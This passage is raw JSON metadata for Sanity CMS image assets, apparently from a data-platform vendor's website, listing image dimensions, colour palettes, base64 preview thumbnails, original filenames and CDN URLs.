.imagePaletteSwatch","background":"#64748c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5630e","foreground":"#fff","population":0.67,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DevOps_Tooling_meta_preview.jpeg","path":"images/sczeoy4w/production/2cc7607cee4ea7c93c4b502ff4d1321f06585f91-1200x630.jpg","sha1hash":"2cc7607cee4ea7c93c4b502ff4d1321f06585f91","size":166440,"uploadId":"T9ooZaJtjXsDmm7PaGOJakLxFfqC6y2u","url":"https://cdn.sanity.io/images/sczeoy4w/production/2cc7607cee4ea7c93c4b502ff4d1321f06585f91-1200x630.jpg"} {"_createdAt":"2022-09-14T13:41:26Z","_id":"image-2ccc6137425916c2703204b68777801d41228e0b-1200x630-jpg","_rev":"Vn7qQ8eGV1PH1pChU1RFuj","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T13:41:26Z","assetId":"2ccc6137425916c2703204b68777801d41228e0b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIEAwj/xAAeEAACAgIDAQEAAAAAAAAAAAABAgMEAAURIVExkf/EABYBAQEBAAAAAAAAAAAAAAAAAAACA//EABgRAQEBAQEAAAAAAAAAAAAAAAERAAIh/9oADAMBAAIRAxEAPwDoCzBtGtSPDaURluVBb5lm02VilrlkRA83QPmZxAC057/coYBhww5HhzTmDXT0MQz62/JZpRyyqUdh2uGKAAOB0MMIXCh7v//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414145","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0664c4","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c79ea4","foreground":"#000","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79ea4","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64c4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#609cb4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c44","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cassandra_product_page_meta_preview.jpeg","path":"images/sczeoy4w/production/2ccc6137425916c2703204b68777801d41228e0b-1200x630.jpg","sha1hash":"2ccc6137425916c2703204b68777801d41228e0b","size":33671,"uploadId":"QoOCylaXxBsYox0jhUtK9iPWhJg34cMG","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ccc6137425916c2703204b68777801d41228e0b-1200x630.jpg"} {"_createdAt":"2023-10-16T07:47:57Z","_id":"image-2ce9dc63f72b09eb3dcba4d7d5998ce8a5a3d873-1000x1000-jpg","_rev":"YchETsjFZqXXcMnazIaFHG","_type":"sanity.imageAsset","_updatedAt":"2023-10-16T07:47:57Z","assetId":"2ce9dc63f72b09eb3dcba4d7d5998ce8a5a3d873","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eoP6z19E.9%hxu~pxaR*%Mj[D*WWenMxof%MkCjZs:WBt7t7ayoLj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1000,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAcIBAUG/8QAJBAAAgIBBAEEAwAAAAAAAAAAAQIAAwQFBhESUSEiMUEHE2H/xAAXAQADAQAAAAAAAAAAAAAAAAAAAgME/8QAGhEBAAMAAwAAAAAAAAAAAAAAAAECExJRYf/aAAwDAQACEQMRAD8AmP8AJOe66ri4V2TfRiFO5/SSCx5+zOr2jmDL0pOGdwntDP8AJH9ka793ho+r5yUaTeluTT6M/PCuPAM3+wN3aIippb5Yrzmbjo59CfAMjHLTxptFMY7SNERLMyjm37Wej3fUzc656ettTFLEIZWHyCIiOFvNmZd2dtbTMnIbtbZQpY+TxERED//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443737","foreground":"#fff","population":2.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b2e23","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eabcaa","foreground":"#000","population":4.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0baac","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eabcaa","foreground":"#000","population":4.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d786d","foreground":"#fff","population":2.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6464","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"jamie-arlen.jpg","path":"images/sczeoy4w/production/2ce9dc63f72b09eb3dcba4d7d5998ce8a5a3d873-1000x1000.jpg","sha1hash":"2ce9dc63f72b09eb3dcba4d7d5998ce8a5a3d873","size":71516,"uploadId":"fNEzF5sxauoO0zuLTMhHVMeHopHYZKBz","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ce9dc63f72b09eb3dcba4d7d5998ce8a5a3d873-1000x1000.jpg"} {"_createdAt":"2022-06-16T22:53:47Z","_id":"image-2cecd4a431e3e3c1589f3200f68af5d0cc1a9d31-133x81-svg","_rev":"oamrAPLmQLQjd9jh7ZoFL0","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:47Z","assetId":"2cecd4a431e3e3c1589f3200f68af5d0cc1a9d31","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VB8Dq*0yvJ^m1*}[5RwH%3ADMbkDx{I:rVNFs.bdWWnh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6419753086419753,"height":81,"width":133},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACZklEQVQokX2SS0iUURTHf9/3zTguTMvXOM5oNWaU+MCih5aRrwbM0OihZRNKVqblJh/3G50rRUS4cBPUqjalZYhafWMRVAStQ2htRtBmSs2gRW0mro5Q4XThcC6X8/+d/+FcWO0IC0xrOS9FiGTzEQ5zAswZHveXG9P9+Y5w0JOwIF2p89KVOC9d+rx0rYr7A/RX6AgrCWFlOcSkZ40YS+ruO5/wQW7KmJOZzgXpsi1KZwzgijvTQuteuscjrHyE1YSw/IZ4sgPxMuVwYGDtu2ChNyw9Wd+l0/5TJv/HoYKaoRVYCcIaQoQeIqaaEW8yHGIi7lVwt2tW5hSFpcf9Q6bpEZkYA9g5DJ33V0bNRYQGEdZMvDnxPMe8U/lJehMWpTMrLD2lX6V7+5zMTPp2ey/vu7NjAOt6YeQnXB6zIawqROi1Jp7+SjeHp08HegPPgmUN08EC/6zMqQ1Lz/ovfU4jEslkpHEdsY+vA27OGASm9mCGHmCGPiebox+r+268uNrfMjQa9Pnfyp2bZwdy427tX5ZEIteXsvYPykDTHaDZSc02uHTPSdd4PT2TV+y944Oenrtd5T3Xalq72rNb2hrtUIRh6AbgAGwKoD5PCpAKqDVtAAqBXMCLLc6Le2sB+RVlFNfuI69yG2l5G8HhVhqbvgRS2i1AugKWAxVATTTXAy1AA3AEOAgcAA6pGg18OlRqUAuURGFFwFFglwJWA83ABeAc0AZcBDqAM2pFoFWg6T40vQpNU0JVfzbaJA+oAlqBEwpYDJwE/FGoghwHmqJdlbtSoCzqSL21R2tPRSerA44pM78B+qC7VefNdx0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a4458","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044484","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f77909","foreground":"#fff","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c948c","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab97e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907f6c","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77909","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"wartsila.svg","path":"images/sczeoy4w/production/2cecd4a431e3e3c1589f3200f68af5d0cc1a9d31-133x81.svg","sha1hash":"2cecd4a431e3e3c1589f3200f68af5d0cc1a9d31","size":3369,"uploadId":"GOuv7mOMoCeAwADdZttcg9p35SXwMU3u","url":"https://cdn.sanity.io/images/sczeoy4w/production/2cecd4a431e3e3c1589f3200f68af5d0cc1a9d31-133x81.svg"} {"_createdAt":"2024-03-05T10:20:37Z","_id":"image-2cf9832b3dc763cf3f5d4ba2deded2c7e04a9d15-4320x4730-png","_rev":"Aaow4ZewAH4cr6S8WhLHbq","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T10:20:37Z","assetId":"2cf9832b3dc763cf3f5d4ba2deded2c7e04a9d15","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGBWA8M{.l-W^RD*xuMykBS10KrWR7InEK=DA0x9R:jFnhxuWXt7oe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9133192389006343,"height":4730,"width":4320},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f3842","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#840430","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c118","foreground":"#000","population":1.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5a2c0","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#61e2f8","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5692a7","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c118","foreground":"#000","population":1.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"complex (1).png","path":"images/sczeoy4w/production/2cf9832b3dc763cf3f5d4ba2deded2c7e04a9d15-4320x4730.png","sha1hash":"2cf9832b3dc763cf3f5d4ba2deded2c7e04a9d15","size":628097,"uploadId":"eIF3hpqbDPeftNe4qzI1yoJI95Zt4w0N","url":"https://cdn.sanity.io/images/sczeoy4w/production/2cf9832b3dc763cf3f5d4ba2deded2c7e04a9d15-4320x4730.png"} {"_createdAt":"2023-09-06T08:21:12Z","_id":"image-2d238466476e8e9a14fc766bc50ae2909d9c6af9-2560x1880-png","_rev":"jBJgpqpGruZvOgVMUB5vSh","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:21:12Z","assetId":"2d238466476e8e9a14fc766bc50ae2909d9c6af9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3617021276595744,"height":1880,"width":2560},"exif":{"PixelXDimension":2560,"PixelYDimension":1880,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABj0lEQVQ4jZ2TS27cMBBEef+zBLmCgRwhy2wCBFkYY4niv/kblVHUUJCRGLC9KLCbzXksdmvUsixY1xUigvv9/mX1fkdtHWrbNhhjkHM+Co/iZ9VaRykVSm8ahNJh7/1Lar2j1IYkQocGWm/wPiCXgtra51UbJFeEmKAWbfGyGGjj4YIgxIKQCmKqiNI+rJAKnE9Qt8XgtlhoE2GcHPIZLhT41D4sGzI2G6DWlUNxSFKQSzvFntTax+TG+p4a+9chucCHCKW1hnMOtdbLJ3A0e8attf/WqH2n9rHHL0V572GtPadMcEppFEcsMnLGVClliPEE7/s+Vu4rgggMIYxDBNExc8l5TJ85Y9ZSEojkf6B9OpyAGOMJtNaBznkZ1wEUeQDTcE0o81LqaMn8rWKBgCuQEOYzfgs8WjDyi8splTNduLNPfJp7AI8ne9gHkDnPxZjOPpdKhxfgn2eH3383vGhCj9sJYQ+ZD4feH09NMi66inuzn5T6/uOGb0/P+PlrgXNh3DrFg9f8PfGvN4fzCmS8kUFxtX2AAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e4e4e","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a4caa","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5076d3","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcb2","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cd4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848483","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5076d3","foreground":"#fff","population":0.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-create-table.png","path":"images/sczeoy4w/production/2d238466476e8e9a14fc766bc50ae2909d9c6af9-2560x1880.png","sha1hash":"2d238466476e8e9a14fc766bc50ae2909d9c6af9","size":339594,"uploadId":"5GpwsRtQGEZT3mBJerAfUgL3LLmuoNVO","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d238466476e8e9a14fc766bc50ae2909d9c6af9-2560x1880.png"} {"_createdAt":"2024-05-08T14:58:31Z","_id":"image-2d3ae72dec408c07b6f6d42a90b271fa5b7920ed-1200x628-png","_rev":"WsWK2eJhT0GdR6GsCStJDa","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T14:58:31Z","assetId":"2d3ae72dec408c07b6f6d42a90b271fa5b7920ed","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8XSBxQI9ocRj_4bFM{bIR*D%Rjxuahjq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACfElEQVQokS2Qa1MSARSG9xc0jsBy2+UOm5WDE6WCmqFh6CrIAq7gpTTNzESnzEhD0tJMUyym0TSrf/o0rH54Z875cJ55nyOIss7N8DyRWImOB2vE4mW6+jaJxivc76nQ0btNd2Kfh4NH9AwcE3tUI9p/TLT/G92JQ3qTNXoGarTFdnG3lBFsngJ3o69IqJsMjn4kmdpB1fbIjB8xqtdIjZ2Q1utkJ87ITlyQ1i8Y0k4Zyv4krZ+iFS9Rcxd0xo/xt24jWN3jRGLLqJkqamabhFolldtHn/qOPl1HK/xgJP+DTOGUwswfirP/SOtnqNk6o4UzhvO/6eyro0QO8d45QGgo3+taJpmqkBiu8EitMpL7QnrsGyP5I0byJ6TG6gZQf3JJcfYvaf0n/eoh3YmvRHoOCIR3kW5+xnXrAMEi67R1LPHw8TviyQ0DmBjeIZ7coW9oj+FcjfzUKbnJX2jFc7IT56jZE6J9nwiG3yMpZZyhDZyhKnLLHkKTLYfTP4m3ZZbAneco4SWUcIlg6ypK2xrhzgrtvZ+IdH82Ht9Ia3uFQOs6juBbbP4y9sB7HMFNJGUH4Yao0WTVaLbnMTmLmKRpTNIMZtc8FvciVu8yNl8Jq7eEzfcau38Nq3fFiN2/bjRzhrawBzZwBDcQmsUMskPD6yviDs1i9czQ7HyKSZrD7HqBxb2E2bWISV4wZtGzgugpIXpXjWaSsn0F9L/D5ltDMFtH8csaLcoUwdvzOP3PjIYmeQ6LaxHR8+oaunC9N2ArxrEj9MEANnQbe8NAaOia7RqipCO6JjHL18rylbLoWTa0Le6XRqze1Sv1wDpOZQtJqWIPlLH53hj5D4vdckEUh35oAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4571","foreground":"#fff","population":1.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7deee","foreground":"#000","population":9.14,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#797dc4","foreground":"#fff","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7deee","foreground":"#000","population":9.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#697096","foreground":"#fff","population":1.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b84449","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (1).png","path":"images/sczeoy4w/production/2d3ae72dec408c07b6f6d42a90b271fa5b7920ed-1200x628.png","sha1hash":"2d3ae72dec408c07b6f6d42a90b271fa5b7920ed","size":198874,"uploadId":"QSRU9Lj4ldaluFpCDXfSgCGtsPGdKf6j","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d3ae72dec408c07b6f6d42a90b271fa5b7920ed-1200x628.png"} {"_createdAt":"2023-08-31T08:17:46Z","_id":"image-2d507d425e755730f88dbfbbf9162cd2d78d72a0-1567x844-png","_rev":"ZNK1gtsEt6IbTqopJiOYWL","_type":"sanity.imageAsset","_updatedAt":"2023-08-31T08:17:46Z","assetId":"2d507d425e755730f88dbfbbf9162cd2d78d72a0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNpA.+em;LeW~ql9eliKeod;e9fmgggM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACX0lEQVQokS2R6VNScRiFf2MKbpmZS6UZuCCyug2NM5rj0reWmRorCHHNZUpzcqhMTDCEC1wEs3+VRvPyPg3ePpyvz5xzHsV8Dbytg2AtBC0QtsJSHazWw2otvLfChhW2LPDBAru1EGuHnAuKw5B1QNoGuhMKHhRLbfDJDXt+2PNC1Av7QxAbgZgfYl6IDULcAwk37N+D/RY4sUPeAzkn5Aag4IWiD8Xqffj6CI5mID4Nx9NwMgfaHKSnQZsCbRL0adAfQ9ILcTske0DrNxueeuDXKJwNoVi5C9ExiM9CYgZOnkD+BeSfgjZrAjOVTIAWgEwA9ADkfJBxQLbfbHc2DHkXiuUOiI7C4RQcTkBiCvTnkH8GmTlITUJqHBI++NZlTj7uhZwXCkNQ8JuwCjRjRxG5AzsuiI7Al2GIeuBgFBLjEA/A0TD8qPxqg5162K6Bg1bIOs2Z52MmsCIl1YW6thxqgIUmWKykAVYaYf0WbDbDVhN8bIKdm7BdC7tWE5juA91tSqnAsn2Q6kTJSyXXeaVE5pXIGyUElfBOCRElLCths0bYaxb53iHst4rE2oWkTUj3iCQfCJle4dQtkneJItgAkRZYbIGFRghVQ0hBWEFEwWqV2e7oIWRckHbAT9t/w07QekwxRf/1fMXCbYP1boONboOVVoOwxZCQMggrg4gyWLtR5nNLmWS/SN5fFt1TJjsoUvCLnI0IOaeg2cvoA2WKPlG8tpQI1pcIVWItEawqEVIlwqokEVVirfoP0bZLUgN/JeO6INV3ITm3wXlA+B0Qco4rSXZeotkuRR+4+gfd+DpIhtm+AAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935505","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac37c","foreground":"#000","population":0.28,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Streamlined_user_management_in_the_Aiven_Platform_blog.png","path":"images/sczeoy4w/production/2d507d425e755730f88dbfbbf9162cd2d78d72a0-1567x844.png","sha1hash":"2d507d425e755730f88dbfbbf9162cd2d78d72a0","size":118534,"uploadId":"gIgHsTdWMfc9cuVnHF9SeGdbYmnxanRi","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d507d425e755730f88dbfbbf9162cd2d78d72a0-1567x844.png"} {"_createdAt":"2022-06-30T20:09:36Z","_id":"image-2d5ba25afbf43c8443721028d56be2fa1cf113e6-925x402-png","_rev":"LKSVNTHAdZDLniZ7u2CvuJ","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:03:20Z","assetId":"2d5ba25afbf43c8443721028d56be2fa1cf113e6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M04_a~8_0J~WIUX5ELxbn%t600%g^R9Z?H","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.300995024875622,"height":402,"width":925},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABU0lEQVQYlT3Q22rjMBAGYD9DJM1Bki3ZliLJceLUTtOSlJZQStmLff/XKTbdHT6Ym/lnYCqpQEglhNwJ8Y8EROdc1/W+bY0xUsFOqI3crDM7ISokAiS55X9JJRUwWstOk0ZEQjZYI7BUIBUoQKVACFkRMyIJ+X+r3Mk1z6puqW21cRqz7+Y0HfZDDDHFVFKJfdTaVsSatWE2xIa0YW21scY20aUlns77fNyH2zT/uX9+vN6el6frMr9c5vNpdM5VzLp1vsR0SGXIwyEP4zBO4+l+fnnMb/N4PpTh/Xr/+/i+zk8xtiH4ELz3DTFVROybJvddiaGEWELMMY4pvR6Xt+mWQ3bOP0/L1/1RUgGiFTMQCQWVAlyLtsINETNHF8f+WGsHQKnPl+MldHsyNWgL2iCbNSyVWgEg8frGtTMgGa697Qk1ADXW+zoY07Cx21km1lLBDxrHOSiUCtePAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#62355a","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767610","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#62355a","foreground":"#fff","population":0.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#beaacb","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4908d","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6754e","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9e672e","foreground":"#fff","population":0.32,"title":"#fff"}}},"mimeType":"image/png","or